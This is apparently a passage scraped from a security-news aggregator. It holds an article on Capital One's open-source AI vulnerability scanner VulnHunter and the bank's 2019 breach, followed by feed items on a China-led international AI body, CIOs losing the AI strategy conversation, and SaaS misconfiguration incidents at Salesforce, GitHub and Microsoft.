href="https://github.com/capitalone/vulnhunter">attacker-first forward analysis</a>" — a workflow in which the tool begins at the points where a real adversary would enter a system, such as APIs, network messages, or file uploads, and reasons forward through the application's logic to determine whether an exploit path actually survives the code's existing defenses. Conventional scanners typically work in reverse, flagging a dangerous-looking code pattern and then searching backward for a hypothetical attacker. That approach, security practitioners widely acknowledge, buries engineering teams under avalanches of false positives.</p><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> attacks that problem head-on with a second innovation: a built-in "falsification engine" that tries to disprove its own findings before a developer ever sees them. After the tool surfaces a potential vulnerability, a structured reasoning workflow hunts for logical gaps, unsupported assumptions, and conditions that would prevent the attack from succeeding. Only findings the engine fails to rule out reach a human reviewer — and when they do, VulnHunter delivers not just an alert but a full explanation of the exploit path and a proposed code fix ready for engineering review.</p><p>The tool currently runs on Anthropic's <a href="https://www.anthropic.com/news/claude-opus-4-8">Claude Opus 4.8 model</a> inside a Claude Code environment, though Capital One says the framework has the potential to work across other foundation models and coding harnesses.</p><h2><b>The 2019 breach that reshaped how Capital One thinks about cybersecurity</b></h2><p>To understand why Capital One chose to open-source a tool this consequential, you have to understand the scar tissue.</p><p>On July 19, 2019, <a href="https://www.capitalone.com/digital/facts2019/">Capital One disclosed </a>that an outside individual — later identified as a former Amazon Web Services employee named Paige Thompson — had gained unauthorized access to names, addresses, self-reported income, Social Security numbers, and linked bank account numbers belonging to credit card customers and applicants. The breach, which Capital One says occurred on March 22 and 23, 2019, was discovered only after an external security researcher flagged a configuration vulnerability through the company's <a href="https://www.capitalone.com/digital/responsible-disclosure/">Responsible Disclosure Program</a> on July 17 of that year.</p><p>The damage was sweeping. Approximately <a href="https://www.npr.org/2019/07/30/746687015/100-million-people-in-the-u-s-affected-by-capital-one-data-breach">100 million people in the United States</a> and 6 million in Canada were affected. Roughly 140,000 Social Security numbers, about 80,000 linked bank account numbers, and approximately 1 million Canadian Social Insurance Numbers were compromised. The FBI arrested Thompson, and the government stated it believed the data had been recovered with no evidence of fraud. But the reputational and regulatory toll was enormous.</p><p>In August 2020, the Office of the Comptroller of the Currency <a href="https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-101.html">fined Capital One $80 million</a>, finding that the bank had failed to adequately identify and manage risks as it migrated significant technology operations to the cloud. As Reuters reported at the time, the OCC's consent order cited insufficient network security controls, inadequate data loss prevention measures, and a board that failed to hold management accountable when internal auditing surfaced problems. The OCC also ordered Capital One to overhaul its operations and submit new cybersecurity plans for regulatory review.</p><p>The incident became an industry case study in the dangers of moving fast with new technology. As <a href="https://cyberscoop.com/capital-one-hack-banking-security/">CyberScoop reported</a> in July 2019, a cybersecurity executive at a competing financial company observed that the breach "could be the result of trying too many new things and forcing them through." Capital One's own CEO, Richard D. Fairbank, acknowledged the gravity of the moment. "While I am grateful that the perpetrator has been caught, I am deeply sorry for what has happened," Fairbank said at the time. "I sincerely apologize for the understandable worry this incident must be causing those affected and I am committed to making it right."</p><h2><b>How Capital One rebuilt its security reputation through open-source investment</b></h2><p>What followed was not a retreat from technology but a doubling down — with security explicitly at the center.</p><p>Capital One had declared itself an "<a href="https://capitalonesoftware.com/blog/cloud-migration-journey">open-source first</a>" company in 2015 as part of a broader technology transformation that began over a decade ago. After the breach, the company accelerated its investments in software supply chain security, open-source governance, and AI-driven defense. In August 2022, Capital One joined the <a href="https://openssf.org/">Open Source Security Foundation</a> as a premier member, earning a seat on the organization's Governing Board. Chris Nims, then EVP of Cloud &amp; Productivity Engineering, framed the move as a natural extension of the company's operating philosophy. "As a highly-regulated company, we are seasoned in managing compliance and governance and advocate for standardization, automation and collaboration," Nims said in the <a href="https://openssf.org/press-release/2022/08/24/capital-one-joins-open-source-security-foundation/">OpenSSF announcement</a>.</p><p>Behind that public commitment lay a substantial operational apparatus. Capital One's <a href="https://www.capitalone.com/tech/open-source/">Open Source Program Office</a>, now in its third iteration, manages open-source usage, contributions, and community building across the enterprise. The company has released more than 25 open-source projects and made over 2,000 contributions to approximately 135 external open-source projects, according to the company's own disclosures. Those efforts address not just code dependencies but the entire software development lifecycle — DevSecOps tools, infrastructure, and the collaborative environments, both internal and external, that shape how software gets built and shipped.</p><p>Nureen D'Souza, the director who leads Capital One's OSPO, has spoken publicly about the philosophy underpinning this work. At cdCon 2022, D'Souza described a "company-wide culture with security ingrained" that allows developers to focus on innovation rather than maintenance chores, as <a href="https://sdtimes.com/os/how-capital-one-is-strengthening-the-software-supply-chain/">reported by SD Times</a>. The OSPO's charter emphasizes three pillars: standardization of open-source processes, automation of security policies throughout the delivery pipeline, and ecosystem sustainability through upstream contributions to the foundations and projects the company depends on.</p><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> is the most consequential product of that multi-year effort — and the clearest signal yet that Capital One views open-source collaboration not as charity but as a competitive security strategy. The company argues that modern software supply chains are so deeply interconnected that a single vulnerability in a widely used open-source component can cascade across thousands of enterprises simultaneously. Proprietary defenses, no matter how sophisticated, cannot address a problem that is fundamentally communal. By releasing VulnHunter under a permissive license, Capital One invites the global security research community to stress-test, extend, and improve the tool — effectively crowdsourcing its own defense infrastructure while strengthening the broader ecosystem.</p><h2><b>Inside VulnHunter's three-stage AI engine for finding exploitable code</b></h2><p>For engineering leaders evaluating <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a>, the technical architecture is where the tool's ambitions become concrete. The workflow unfolds in three distinct stages.</p><p>In the first stage — attacker-first forward analysis — VulnHunter begins at the points where an external adversary would interact with a system: API endpoints, network message handlers, file upload interfaces. From each entry point, the tool reasons forward through application logic, tracing data flows, transformations, and internal security checkpoints to determine whether an attacker can actually reach a dangerous code path. This approach mirrors how a skilled penetration tester would probe a system, but automates the process at a scale no human team could match.</p><p>The second stage is where VulnHunter departs most sharply from conventional scanners. After identifying a potential vulnerability, the falsification engine runs a structured reasoning workflow designed to disprove its own conclusion. It searches for assumptions that do not hold, logical gaps in the exploit path, and environmental conditions that would prevent an attack from succeeding. Findings that fail this internal challenge are discarded before any developer sees them. Capital One's explicit goal is to shift the developer's burden away from triaging false alarms — a perennial pain point that erodes trust in security tooling and slows development velocity.</p><p>In the third stage, vulnerabilities that survive the falsification engine trigger an evidence-backed remediation workflow. VulnHunter gathers supporting evidence across the codebase, maps the complete surviving exploit path, explains the defect and the specific capabilities an attacker would gain, and generates targeted code changes for engineering review. The output is not a generic advisory but a concrete, context-aware patch proposal.</p><p>Capital One says it validated VulnHunter internally before release, running it across thousands of repositories spanning tens of business areas. The company reports that the tool identified and remediated vulnerabilities with speed and efficiency that far exceeded what its teams previously achieved through manual triage.</p><h2><b>Why AI-powered attacks are forcing banks to rethink traditional cyber defenses</b></h2><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> arrives at a moment when the cybersecurity landscape is shifting beneath the feet of every enterprise. Capital One's announcement frames the urgency in stark terms: advanced AI models have "dramatically lowered the barrier for bad actors to discover and exploit vulnerabilities in software," and the window before sophisticated AI attack capabilities become affordable and accessible to virtually every adversary is shrinking rapidly.</p><p>The company's own AI security researchers have been tracking these trends closely. At <a href="https://www.capitalone.com/tech/software-engineering/secon-2024/">NeurIPS 2024</a> in Vancouver, Capital One's team presented research and curated a list of nearly 100 papers spanning LLM safety, adversarial resilience, jailbreak attacks, and synthetic data generation. The papers they highlighted — including work on multi-agent defense frameworks, automated red-teaming, and guardrail classifiers — paint a picture of an arms race in which offensive and defensive AI capabilities are co-evolving at breakneck speed.</p><p>Several of those research themes map directly onto VulnHunter's architecture. The falsification engine echoes the adversarial defense strategies explored in papers like "<a href="https://pure.psu.edu/en/publications/backdooralign-mitigating-fine-tuning-based-jailbreak-attack-with-/fingerprints/?sortBy=alphabetically">BackdoorAlign</a>," which demonstrated that embedding a structured safety mechanism into a small number of training examples could recover a model's safety alignment without degrading performance. The attacker-first forward analysis reflects the philosophy of "<a href="https://arxiv.org/html/2406.18510v1">WildTeaming</a>," a framework that collects and analyzes real-world jailbreak attempts to build more resilient models. And VulnHunter's emphasis on minimizing false positives parallels the goals of "GuardFormer," a guardrail classifier that outperformed GPT-4 on safety benchmarks while running 14 times faster.</p><p>The thread connecting all of this work is a conviction that traditional, reactive security — monitoring networks, patching known vulnerabilities, responding to incidents after they occur — is no longer sufficient when adversaries can use AI to discover and exploit zero-day vulnerabilities at machine speed. The only durable defense, Capital One argues, is to find and fix the vulnerabilities in your own code before attackers find them first.</p><h2><b>What Capital One's cloud security journey reveals about the entire banking industry</b></h2><p>Capital One's arc from breach victim to open-source security contributor also illuminates a broader reckoning across financial services. When Capital One <a href="https://www.latimes.com/business/story/2019-07-30/capital-one-cloud-safety-hacker-breach">moved aggressively to Amazon Web Services</a> in the mid-2010s, it was a rarity among major banks. Most financial institutions simply did not trust third parties to store their most sensitive data. Capital One's CIO at the time, Rob Alexander, <a href="https://www.forbes.com/sites/peterhigh/2016/12/12/how-capital-one-became-a-leading-digital-bank/">publicly championed the cloud</a> as more secure than the bank's own data centers — a claim that the 2019 breach complicated considerably.</p><p>The <a href="https://cyberscoop.com/capital-one-hack-banking-security/">CyberScoop report</a> from that period captured the tension within the industry. W. Patrick Opet, managing director of cybersecurity at JP Morgan Chase, described a cultural shift in banking from prioritizing traders to prioritizing developers: "Now, it's 'Focus on the developer, turn everything into code, and automate everything.'" Mark Nicholson, Deloitte's cyber leader for the financial industry, noted that the pressure to move quickly was exposing "weaknesses in the development methodology." And the breach itself was a reminder that even as Chase spent $600 million annually on cybersecurity, relatively simple vulnerabilities — like the Apache Struts bug that enabled the Equifax breach — could undercut massive investments in data protection.</p><p>Seven years later, the industry has largely followed Capital One into the cloud, and the security challenges have only intensified. The question is no longer whether to use cloud infrastructure but how to secure the software that runs on it. VulnHunter represents Capital One's answer: rather than relying solely on network-level controls and perimeter defenses, push security directly into the code itself, at the moment it is written. The open-source release also carries implicit competitive pressure. If VulnHunter gains traction among developers and security teams, it could set a new baseline for what enterprise security tooling is expected to do — and force rival banks, fintechs, and cloud providers to match or exceed its capabilities.</p><p>Whether <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> lives up to that ambition will depend on adoption, community engagement, and the tool's real-world performance against the increasingly sophisticated AI-powered attacks it was designed to counter. But the release itself tells a story that extends well beyond any single tool or any single company. In 2019, a misconfigured firewall exposed 100 million records and turned Capital One into a cautionary tale about the cost of moving fast without moving carefully. In 2026, the same institution is open-sourcing the kind of AI-driven defense it wishes it had built sooner — and betting that the best way to protect its own code is to help the entire industry protect theirs.</p><p>
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<title><![CDATA[Juice Jacking – Echte Bedrohung oder Mythos der Cybersicherheit? - ESET]]></title>
<description><![CDATA[Juice Jacking – Echte Bedrohung oder Mythos der Cybersicherheit? Was steckt hinter dem Mythos Juice-Jacking - eine reale Bedrohung für jeden, der sein ...]]></description>
<link>https://tsecurity.de/de/3676926/it-security-nachrichten/juice-jacking-echte-bedrohung-oder-mythos-der-cybersicherheit-eset/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676926/it-security-nachrichten/juice-jacking-echte-bedrohung-oder-mythos-der-cybersicherheit-eset/</guid>
<pubDate>Fri, 17 Jul 2026 21:52:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Juice Jacking – Echte Bedrohung oder Mythos der <b>Cybersicherheit</b>? Was steckt hinter dem Mythos Juice-Jacking - eine reale Bedrohung für jeden, der sein ...]]></content:encoded>
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<title><![CDATA[How Apple’s big lawsuit could disrupt OpenAI’s IPO plans]]></title>
<description><![CDATA[Apple filed a trade secrets lawsuit against OpenAI last Friday, and it’s not messing around. The complaint alleges a pattern of misconduct reaching all the way up to OpenAI’s chief hardware officer and claims more than 400 former Apple employees now work at the company. OpenAI’s response so far h...]]></description>
<link>https://tsecurity.de/de/3676747/ai-nachrichten/how-apples-big-lawsuit-could-disrupt-openais-ipo-plans/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676747/ai-nachrichten/how-apples-big-lawsuit-could-disrupt-openais-ipo-plans/</guid>
<pubDate>Fri, 17 Jul 2026 19:47:23 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple filed a trade secrets lawsuit against OpenAI last Friday, and it’s not messing around. The complaint alleges a pattern of misconduct reaching all the way up to OpenAI’s chief hardware officer and claims more than 400 former Apple employees now work at the company. OpenAI’s response so far has been carefully hedged, and the timing couldn’t be worse with the company reportedly eyeing an IPO […]]]></content:encoded>
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<title><![CDATA[China creates World AI body with Russia and 27 others, but without US]]></title>
<description><![CDATA[China has created an international organization to set standards and introduce regulation for AI, inviting 28 other countries to join — but the US, a leading AI powerhouse is not part it.



The World Artificial Intelligence Cooperation Organization (WAICO) was established by 29 countries, includ...]]></description>
<link>https://tsecurity.de/de/3676206/it-security-nachrichten/china-creates-world-ai-body-with-russia-and-27-others-but-without-us/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676206/it-security-nachrichten/china-creates-world-ai-body-with-russia-and-27-others-but-without-us/</guid>
<pubDate>Fri, 17 Jul 2026 15:38:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">China has created an international organization to set standards and introduce regulation for AI, inviting 28 other countries to join — but the US, a leading AI powerhouse is not part it.</p>



<p class="wp-block-paragraph">The World Artificial Intelligence Cooperation Organization (WAICO) was established by 29 countries, including China, Russia and Brazil, <a href="https://www.fmprc.gov.cn/eng/xw/zyxw/202607/t20260717_11984766.html" target="_blank" rel="noreferrer noopener">at a ceremony in Shanghai, China</a>, on July 16. Notably absent are the US, the European Union and its member states, the UK, Japan and South Korea.</p>



<p class="wp-block-paragraph">Chinese AI companies have made a concerted effort to <a href="https://www.cio.com/article/4087450/the-geopolitics-of-ai-and-robotics-china-the-us-and-japan.html">provide an alternative to US dominance</a>. While the US is clearly ahead, Chinese enterprises are looking to narrow the gap in various areas: <a href="https://www.infoworld.com/article/4197743/thinking-machines-offers-enterprises-a-us-alternative-in-open-weight-ai.html">the open-weight model market</a>, <a href="https://www.csoonline.com/article/4170818/what-happens-when-chinas-ai-catches-up-to-mythos.html">AI cyber protection</a> and <a href="https://www.computerworld.com/article/4149313/chinas-use-of-open%E2%80%91source-ai-threatens-the-us-lead-in-ai-development-us-commission-warns.html">open source AI</a>.</p>



<p class="wp-block-paragraph">WAICO has been some years in development and has been designed to set some universal guidelines in AI. Researchers say <a href="https://arxiv.org/html/2606.23860v1" target="_blank" rel="noreferrer noopener">WAICO differs in three ways</a> from other initiatives to create global AI organizations: membership open to any sovereign state, there is no regime-type test for entry, and its agenda is built around development and the global capability divide.</p>



<p class="wp-block-paragraph">The signing ceremony to create WAICO comes just days after Demis Hassabis, CEO of Google DeepMind, called on the <a href="https://www.cio.com/article/4197497/deepmind-ceo-pushes-for-ai-industry-self-regulation.html">US to take a lead in global AI regulation</a>. “The US is well-positioned to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives,” Hassabis wrote.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.computerworld.com/article/4198354/china-russia-and-27-others-create-world-ai-body-without-us.html">Computerworld</a>.</em></p>
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<title><![CDATA[China, Russia, and 27 others create World AI body, without US]]></title>
<description><![CDATA[China has created an international organization to set standards and introduce regulation for AI, inviting 28 other countries to join — but the US, a leading AI powerhouse is not part it.



The World Artificial Intelligence Cooperation Organization (WAICO) was established by 29 countries, includ...]]></description>
<link>https://tsecurity.de/de/3676190/it-nachrichten/china-russia-and-27-others-create-world-ai-body-without-us/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676190/it-nachrichten/china-russia-and-27-others-create-world-ai-body-without-us/</guid>
<pubDate>Fri, 17 Jul 2026 15:32:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">China has created an international organization to set standards and introduce regulation for AI, inviting 28 other countries to join — but the US, a leading AI powerhouse is not part it.</p>



<p class="wp-block-paragraph">The World Artificial Intelligence Cooperation Organization (WAICO) was established by 29 countries, including China, Russia and Brazil, <a href="https://www.fmprc.gov.cn/eng/xw/zyxw/202607/t20260717_11984766.html" target="_blank" rel="noreferrer noopener">at a ceremony in Shanghai, China</a>, on July 16. Notably absent are the US, the European Union and its member states, the UK, Japan and South Korea.</p>



<p class="wp-block-paragraph">Chinese AI companies have made a concerted effort to <a href="https://www.cio.com/article/4087450/the-geopolitics-of-ai-and-robotics-china-the-us-and-japan.html">provide an alternative to US dominance</a>. While the US is clearly ahead, Chinese enterprises are looking to narrow the gap in various areas: <a href="https://www.infoworld.com/article/4197743/thinking-machines-offers-enterprises-a-us-alternative-in-open-weight-ai.html">the open-weight model market</a>, <a href="https://www.csoonline.com/article/4170818/what-happens-when-chinas-ai-catches-up-to-mythos.html">AI cyber protection</a> and <a href="https://www.computerworld.com/article/4149313/chinas-use-of-open%E2%80%91source-ai-threatens-the-us-lead-in-ai-development-us-commission-warns.html">open source AI</a>.</p>



<p class="wp-block-paragraph">WAICO has been some years in development and has been designed to set some universal guidelines in AI. Researchers say <a href="https://arxiv.org/html/2606.23860v1" target="_blank" rel="noreferrer noopener">WAICO differs in three ways</a> from other initiatives to create global AI organizations: membership open to any sovereign state, there is no regime-type test for entry, and its agenda is built around development and the global capability divide.</p>



<p class="wp-block-paragraph">The signing ceremony to create WAICO comes just days after Demis Hassabis, CEO of Google DeepMind, called on the <a href="https://www.cio.com/article/4197497/deepmind-ceo-pushes-for-ai-industry-self-regulation.html">US to take a lead in global AI regulation</a>. “The US is well-positioned to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives,” Hassabis wrote.</p>



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<title><![CDATA[Why technology leaders are losing the AI conversation to the people who report to them]]></title>
<description><![CDATA[I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference...]]></description>
<link>https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</guid>
<pubDate>Fri, 17 Jul 2026 13:03:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference, or to an AI specialist a board member recommended. The CIO finds out the strategy is forming when a slide shows up that they did not build. By then, the direction is already half-set, and the CIO is being asked to react to it rather than shape it.</p>



<p class="wp-block-paragraph">I want to be precise about what is happening, because it is easy to misread. The CIO has not been removed from anything. Title intact, budget intact, seat at the table intact. What has changed is quieter. On one of the most consequential technology conversations the company will have this decade, the CIO is being routed around. The work still flows through them eventually. The thinking no longer starts with them.</p>



<p class="wp-block-paragraph">I have watched this happen to capable people who would have given the CEO a better answer than the person who was asked. That is what makes it worth naming. This is not a competence gap. It is a positioning gap, and positioning gaps close in the wrong direction if you ignore them long enough.</p>



<h2 class="wp-block-heading">How the routing actually starts</h2>



<p class="wp-block-paragraph">The routing does not begin with a decision to exclude anyone. It begins with a CEO who is anxious about AI and looking for someone who sounds certain. AI is moving fast enough that executives feel the pressure to have a point of view before they have earned one. That pressure usually arrives secondhand, from a board member or a peer on the golf course describing what is working at their company. So the CEO goes looking for someone who will confirm the answer they already want to hear, and they keep going back to whoever gives it to them.</p>



<p class="wp-block-paragraph">Here is where many technology leaders lose the thread. For years, the safe posture in the CIO seat was measured caution. You raised the risks, you flagged the integration cost, you asked who owns the data and what the compliance exposure looks like. That posture built credibility in an era when the failure mode was moving too fast on technology nobody understood. With AI, the same posture reads as drag. A CEO who is being told by three vendors that “the future is already here” does not want to hear why they should slow down and be cautious. They hear caution as losing the race, and they go find a point of view somewhere else.</p>



<p class="wp-block-paragraph">The data leaders, vendors and specialists who get the call are not necessarily more capable. They are more available with a confident answer. A vendor’s whole job is to arrive with conviction. A data scientist who has shipped one impressive model carries more apparent authority on AI, in that moment, than a CIO who runs the entire estate but talks about AI the way they talk about every other risk. The CEO is not weighing depth against depth. They are weighing the person who said yes against the person who said it depends.</p>



<p class="wp-block-paragraph">Once that pattern sets, it compounds. The CEO who got a satisfying answer from the data leader goes back to the data leader. The vendor who shaped the first conversation gets invited into the second. Each loop the CIO is not in makes the next one easier to run without them. The org chart still says the CIO owns technology strategy. The actual conversation has relocated.</p>



<h2 class="wp-block-heading">What it costs before anyone notices</h2>



<p class="wp-block-paragraph">The cost shows up late, which is exactly why it is dangerous. For a while nothing looks broken. The CIO is still delivering. The AI initiatives are still landing on their plate to execute. The damage is happening upstream, in the room where the bets get made, and the CIO is not in that room.</p>



<p class="wp-block-paragraph">I have seen what arrives downstream when the strategy was set without the person who has to run it. A model gets championed that the data cannot actually support. A vendor commitment gets made that locks the company into an architecture the CIO would have flagged in the first meeting. An agent gets deployed inside a business unit, with executive blessing, and the CIO inherits accountability for it months later without ever having shaped how it was governed. The recent IBM finding that <a href="https://www.cio.com/article/4182288/cios-are-being-held-accountable-for-ai-they-dont-fully-control-ibm-study-finds.html">CIOs are increasingly held accountable for AI they do not fully control</a> is the visible end of this. The invisible front end is the conversation the CIO was routed around, the one where the accountability got created in the first place.</p>



<p class="wp-block-paragraph">What I find most corrosive is what it does to the CIO’s standing over time. Every initiative the CIO executes but did not shape reinforces a story about what the CIO is for. They become the person who runs the technology other people decided on. That is a fine description of an order taker and a poor description of a strategic leader, and CEOs do not promote, fund, or defend order takers when budgets tighten. The routing-around does not just cost the company a worse AI strategy. It quietly recasts the CIO as the implementer of everyone else’s thinking, and that recasting is hard to reverse once the executive team has internalized it.</p>



<h2 class="wp-block-heading">What the leaders who stayed in the conversation did</h2>



<p class="wp-block-paragraph">The technology leaders I have watched hold their position on AI did one thing first. They stopped leading with caution and started leading with a point of view. Not a reckless one. A real, defensible position on where AI creates value in their specific business and where it does not, delivered with the same conviction the vendors bring, before the CEO went looking elsewhere for it. They made themselves the person with the clearest answer, which is the role the routing-around was filling with someone else.</p>



<p class="wp-block-paragraph">That requires giving up a posture that felt safe for a long time. The CIOs who made the shift accepted that on AI, being right and cautious is worth less than being early and directional. They formed a view ahead of being asked. They walked into the CEO’s office with where we should place our AI bets and why, rather than waiting to be handed someone else’s bets to pressure-test. The difference is whether you are the author of the strategy or its editor, and CEOs route around editors.</p>



<p class="wp-block-paragraph">They also changed how they talk about risk. Instead of presenting risk as the reason to slow down, they folded it into the recommendation. The data is not ready for that use case, so here is the use case where it is ready, and here is what we do in parallel to unlock the first one. That framing keeps the CIO inside the conversation as the person making AI happen responsibly, rather than the person standing outside it explaining why it is hard. Same expertise, opposite effect on whether the CEO keeps coming back.</p>



<p class="wp-block-paragraph">None of this is about pushing the data leaders and specialists out. The strongest CIOs I know pulled those people closer and brought them into the room under their own framing, so that when the CEO wanted the specialist’s input, it arrived through the CIO rather than around them. They made themselves the orchestrator of the AI conversation instead of one of its casualties.</p>



<p class="wp-block-paragraph">If you are a technology leader right now, the question worth sitting with is not whether you are good at AI. You probably are. The question is whether the most important AI conversations in your company are still starting with you, or whether you have quietly become the person they get handed to after the thinking is done. That answer is set in rooms you may not be in, and the only way to find out is to ask who your CEO called the last three times AI came up. If the answer is not you, the role is still yours. The conversation has already started leaving.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[The SaaS blind spot: Why security teams can’t get inside their own apps]]></title>
<description><![CDATA[Most organizations I work with have invested heavily in cloud security. They have endpoint detection tools, SIEM platforms, cloud security posture management, and skilled security teams running on a 24/7 shift. And yet, when I ask them a simple question — who has admin access in your Salesforce t...]]></description>
<link>https://tsecurity.de/de/3675559/it-security-nachrichten/the-saas-blind-spot-why-security-teams-cant-get-inside-their-own-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675559/it-security-nachrichten/the-saas-blind-spot-why-security-teams-cant-get-inside-their-own-apps/</guid>
<pubDate>Fri, 17 Jul 2026 11:09:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Most organizations I work with have invested heavily in cloud security. They have endpoint detection tools, SIEM platforms, cloud security posture management, and skilled security teams running on a 24/7 shift. And yet, when I ask them a simple question — who has admin access in your Salesforce tenant right now? — The room goes quiet. Nobody knows. Not because they are negligent. Because they genuinely cannot see it.</p>



<p class="wp-block-paragraph">That is the SaaS blind spot.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Figure-1-The-Blind-Spot-and-what-SSPM-covers.png?w=1024" alt="Figure 1: The Blind Spot and what SSPM covers" class="wp-image-4197928" width="1024" height="417" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 1: The Blind Spot and what SSPM covers.</em></figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h2 class="wp-block-heading"><a></a>SaaS: Numbers speak volumes</h2>



<p class="wp-block-paragraph">I ask this question in almost every engagement: how many SaaS applications does your organization run? The answers I get range from 30 to maybe 50. The real number, once someone counts, is usually north of three hundred. <a href="https://appomni.com/press-releases/new-state-of-saas-security-report-2024/">AppOmni’s 2024 research</a> put it even higher — 49% of Microsoft 365 organizations believed they had fewer than ten apps connected to their tenant when the actual average was over a thousand.</p>



<p class="wp-block-paragraph">Here is the part that concerns me more than the count. Of all those applications, security teams have clear sight into maybe one in 10. The rest — where your customer records live, where your source code sits, where your financial reports get shared — nobody is watching. Not because the team is careless. Because the tools they have were never built to look there.</p>



<p class="wp-block-paragraph">The following incidents will discuss these realities.</p>



<h3 class="wp-block-heading"><a></a>Salesforce in 2023</h3>



<p class="wp-block-paragraph">In April 2023, <a href="https://krebsonsecurity.com/2023/04/many-public-salesforce-sites-are-leaking-private-data/">KrebsOnSecurity</a> broke the story — Salesforce Community sites were quietly leaking sensitive data belonging to government agencies, banks, and healthcare providers. No sophisticated attack technique. Just the right API endpoint and a misconfigured guest user profile. The exposed records included Social Security numbers, account details, and home addresses. Salesforce was clear in its response: this was not a platform vulnerability. Administrators had misconfigured guest access policies, and nobody had checked.</p>



<p class="wp-block-paragraph">Guest user profiles in Salesforce Communities can be granted access to data records. When administrators set those permissions too broadly — often without realizing it — unauthenticated external users can query that data straight through the API. Over 150,000 companies were potentially sitting in that window before anyone raised the alarm.</p>



<p class="wp-block-paragraph">The pattern is always the same. Configuration made under time pressure, default set slightly too permissive, nobody looks at it again. SaaS applications accumulate these quiet exposures over months and years.</p>



<h3 class="wp-block-heading"><a></a>GitHub in 2022</h3>



<p class="wp-block-paragraph">In April 2022, <a href="https://github.blog/news-insights/company-news/security-alert-stolen-oauth-user-tokens/">GitHub disclosed</a> that an attacker had used stolen OAuth tokens — issued to Heroku and Travis CI — to access and download private repository contents from dozens of organizations, including npm. GitHub’s own systems were never touched. The tokens came from third-party applications that users had authorized to connect to their accounts, and those applications had been quietly compromised.</p>



<p class="wp-block-paragraph">The entry point was not GitHub. It was not even the organizations that lost their data. It was the CI/CD tools those organizations had connected to GitHub months or years earlier — tools that had been granted broad read and write permissions that were never revisited.</p>



<p class="wp-block-paragraph">That is the OAuth problem in plain terms. The moment you authorize a third-party application; its security posture becomes your problem too. Most organizations have dozens of these connections sitting open across their SaaS platforms — and no one reviewing them.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="496" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><em>Figure 2: The 2022 GitHub breach chain.</em></figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h3 class="wp-block-heading"><a></a>Microsoft in 2023</h3>



<p class="wp-block-paragraph">The Microsoft case from 2023 is the one I bring up when people assume this only happens to careless organizations. <a href="https://www.wiz.io/blog/38-terabytes-of-private-data-accidentally-exposed-by-microsoft-ai-researchers">Wiz Research</a> found that Microsoft’s own AI team had exposed 38TB of internal data — private keys, passwords, and more than 30,000 internal Teams messages — through a single misconfigured Azure access token. The token was supposed to share one training dataset on GitHub. Instead, it opened an entire storage account to anyone who found the link.</p>



<p class="wp-block-paragraph">What gets me about this one is the timeline. That token had been sitting there since October 2021. Nearly two years, inside Microsoft, before anyone caught it. If a team with that level of resources and expertise can leave a door open for two years, the idea that “we’d notice” is not much of a security strategy. And it’s worth noting — this wasn’t a database leak. It was Teams messages. The same collaboration tools your employees use every day are just as exposed as the platforms holding structured records.</p>



<h2 class="wp-block-heading"><a></a>Why traditional security tools miss this</h2>



<p class="wp-block-paragraph">Cloud Security Posture Management tools — CSPM — are designed to monitor infrastructure configuration: virtual machines, storage buckets, network rules, and IAM policies at the infrastructure level. They do an acceptable job at that layer. What they do not do is look inside SaaS applications. <a href="https://www.cisa.gov/resources-tools/services/secure-cloud-business-applications-scuba-project">CISA’s Secure Cloud Business Applications (SCuBA) guidance</a> specifically calls out the gap between infrastructure security tools and SaaS-layer visibility as one of the most under addressed areas in enterprise cloud security.</p>



